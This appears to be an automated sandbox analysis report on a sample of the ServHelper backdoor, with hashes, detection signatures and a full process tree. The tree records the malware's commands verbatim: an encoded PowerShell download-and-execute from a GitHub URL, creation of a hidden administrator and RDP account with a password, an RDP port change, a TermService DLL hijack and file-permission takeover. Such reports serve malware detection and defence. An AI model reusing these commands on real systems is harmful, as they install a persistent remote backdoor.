Analysis

  • max time kernel
    129s
  • max time network
    100s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    16-07-2021 07:43

General

  • Target

    96d4ecbc8b4e168039901376fc5a8b5a.exe

  • Size

    3.2MB

  • MD5

    96d4ecbc8b4e168039901376fc5a8b5a

  • SHA1

    133d86495e1b248253280bb10a24da1045a75594

  • SHA256

    cfdb155368f72aed83e715260f1dd63922a25ce4e6d558941f94cb4a06357994

  • SHA512

    b6d17596374d88b33e2331687ed70f85add4331d2d7b612a3da44907a79f356e619654378d327889e50e9908e86b96132c3bf395dff1a9f91ea2c3a536bc3c2f

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Core1 .NET packer 1 IoCs

    Detects packer/loader used by .NET malware.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\96d4ecbc8b4e168039901376fc5a8b5a.exe
    "C:\Users\Admin\AppData\Local\Temp\96d4ecbc8b4e168039901376fc5a8b5a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1652
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:316
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        3⤵
        • Deletes itself
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:540
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\if0d1lke\if0d1lke.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:340
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA860.tmp" "c:\Users\Admin\AppData\Local\Temp\if0d1lke\CSC2126E1184B4F462EB6B4101C5B26F9C4.TMP"
            5⤵
              PID:1356
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1304
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1096
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1816
          • C:\Windows\system32\takeown.exe
            "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:340
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:2012
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:556
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:2040
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1736
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:432
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1192
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
            4⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1128
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            4⤵
              PID:1672
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
              4⤵
              • Modifies registry key
              PID:544
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
              4⤵
                PID:1820
              • C:\Windows\system32\net.exe
                "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1696
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                    5⤵
                      PID:936
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                    4⤵
                      PID:1480
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start rdpdr
                        5⤵
                          PID:640
                          • C:\Windows\system32\net.exe
                            net start rdpdr
                            6⤵
                              PID:940
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start rdpdr
                                7⤵
                                  PID:1540
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                            4⤵
                              PID:1528
                              • C:\Windows\system32\cmd.exe
                                cmd /c net start TermService
                                5⤵
                                  PID:724
                                  • C:\Windows\system32\net.exe
                                    net start TermService
                                    6⤵
                                      PID:520
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 start TermService
                                        7⤵
                                          PID:1580
                                  • C:\Windows\system32\cmd.exe
                                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                                    4⤵
                                      PID:1304
                                    • C:\Windows\system32\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                      4⤵
                                        PID:1012
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 000000 /del
                                  1⤵
                                    PID:920
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc 000000 /del
                                      2⤵
                                        PID:2040
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                          3⤵
                                            PID:864
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe user WgaUtilAcc Qzkickmp /add
                                        1⤵
                                          PID:960
                                          • C:\Windows\system32\net.exe
                                            net.exe user WgaUtilAcc Qzkickmp /add
                                            2⤵
                                              PID:1064
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 user WgaUtilAcc Qzkickmp /add
                                                3⤵
                                                  PID:944
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              1⤵
                                                PID:1316
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                  2⤵
                                                    PID:1696
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                      3⤵
                                                        PID:896
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                    1⤵
                                                      PID:640
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                        2⤵
                                                          PID:1800
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                            3⤵
                                                              PID:648
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          1⤵
                                                            PID:1552
                                                            • C:\Windows\system32\net.exe
                                                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                              2⤵
                                                                PID:780
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                                  3⤵
                                                                    PID:1672
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd /C net.exe user WgaUtilAcc Qzkickmp
                                                                1⤵
                                                                  PID:956
                                                                  • C:\Windows\system32\net.exe
                                                                    net.exe user WgaUtilAcc Qzkickmp
                                                                    2⤵
                                                                      PID:964
                                                                      • C:\Windows\system32\net1.exe
                                                                        C:\Windows\system32\net1 user WgaUtilAcc Qzkickmp
                                                                        3⤵
                                                                          PID:1492
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C wmic path win32_VideoController get name
                                                                      1⤵
                                                                        PID:1596
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic path win32_VideoController get name
                                                                          2⤵
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:392
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C wmic CPU get NAME
                                                                        1⤵
                                                                          PID:1396
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic CPU get NAME
                                                                            2⤵
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1012
                                                                        • C:\Windows\System32\cmd.exe
                                                                          cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          1⤵
                                                                            PID:1876
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                              2⤵
                                                                                PID:1192
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                                  3⤵
                                                                                  • Blocklisted process makes network request
                                                                                  • Drops file in Windows directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:1064

                                                                            Network

                                                                            MITRE ATT&CK Enterprise v6

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            • memory/316-70-0x0000000000400000-0x00000000008DB000-memory.dmp

                                                                              Filesize

                                                                              4.9MB

                                                                            • memory/316-75-0x000000002813C000-0x000000002815B000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/316-74-0x0000000028137000-0x0000000028138000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/316-73-0x0000000028136000-0x0000000028137000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/316-72-0x0000000028134000-0x0000000028136000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/316-71-0x0000000028132000-0x0000000028134000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/316-68-0x0000000040C00000-0x0000000040EAA000-memory.dmp

                                                                              Filesize

                                                                              2.7MB

                                                                            • memory/316-67-0x0000000000400000-0x00000000008DB000-memory.dmp

                                                                              Filesize

                                                                              4.9MB

                                                                            • memory/540-78-0x0000000002220000-0x0000000002221000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/540-96-0x000000001B810000-0x000000001B811000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/540-97-0x0000000002760000-0x0000000002761000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/540-77-0x000007FEFBAB1000-0x000007FEFBAB3000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/540-79-0x000000001AB60000-0x000000001AB61000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/540-80-0x00000000023D0000-0x00000000023D1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/540-82-0x000000001AA44000-0x000000001AA46000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/540-81-0x000000001AA40000-0x000000001AA42000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/540-112-0x000000001AA4A000-0x000000001AA69000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/540-95-0x000000001A9B0000-0x000000001A9B1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/540-83-0x0000000002480000-0x0000000002481000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/540-93-0x0000000002260000-0x0000000002261000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/540-85-0x000000001B5B0000-0x000000001B5B1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1064-215-0x00000000196C4000-0x00000000196C6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1064-214-0x00000000196C0000-0x00000000196C2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1064-244-0x00000000196CA000-0x00000000196E9000-memory.dmp

                                                                              Filesize

                                                                              124KB

                                                                            • memory/1096-144-0x000000001B4E0000-0x000000001B4E1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1096-145-0x0000000001EB0000-0x0000000001EB1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1096-139-0x0000000002510000-0x0000000002511000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1096-140-0x000000001AAF4000-0x000000001AAF6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1096-138-0x000000001AAF0000-0x000000001AAF2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1096-142-0x00000000026D0000-0x00000000026D1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1304-117-0x000000001BB60000-0x000000001BB61000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1304-131-0x000000001BC40000-0x000000001BC41000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1304-106-0x0000000002580000-0x0000000002581000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1304-108-0x000000001B6C0000-0x000000001B6C1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1304-110-0x000000001B540000-0x000000001B541000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1304-111-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1304-105-0x00000000024D4000-0x00000000024D6000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1304-104-0x00000000024D0000-0x00000000024D2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1304-130-0x000000001BC30000-0x000000001BC31000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1652-59-0x000000013FD30000-0x000000013FD31000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1652-62-0x000000001B9E0000-0x000000001B9E2000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1652-63-0x000000001CFC0000-0x000000001D470000-memory.dmp

                                                                              Filesize

                                                                              4.7MB

                                                                            • memory/1652-64-0x0000000000750000-0x0000000000760000-memory.dmp

                                                                              Filesize

                                                                              64KB

                                                                            • memory/1652-61-0x000000001C000000-0x000000001C640000-memory.dmp

                                                                              Filesize

                                                                              6.2MB

                                                                            • memory/1652-66-0x000000001E050000-0x000000001E4DD000-memory.dmp

                                                                              Filesize

                                                                              4.6MB

                                                                            • memory/1652-65-0x0000000000760000-0x0000000000761000-memory.dmp

                                                                              Filesize

                                                                              4KB

                                                                            • memory/1816-160-0x000000001AB94000-0x000000001AB96000-memory.dmp

                                                                              Filesize

                                                                              8KB

                                                                            • memory/1816-159-0x000000001AB90000-0x000000001AB92000-memory.dmp

                                                                              Filesize

                                                                              8KB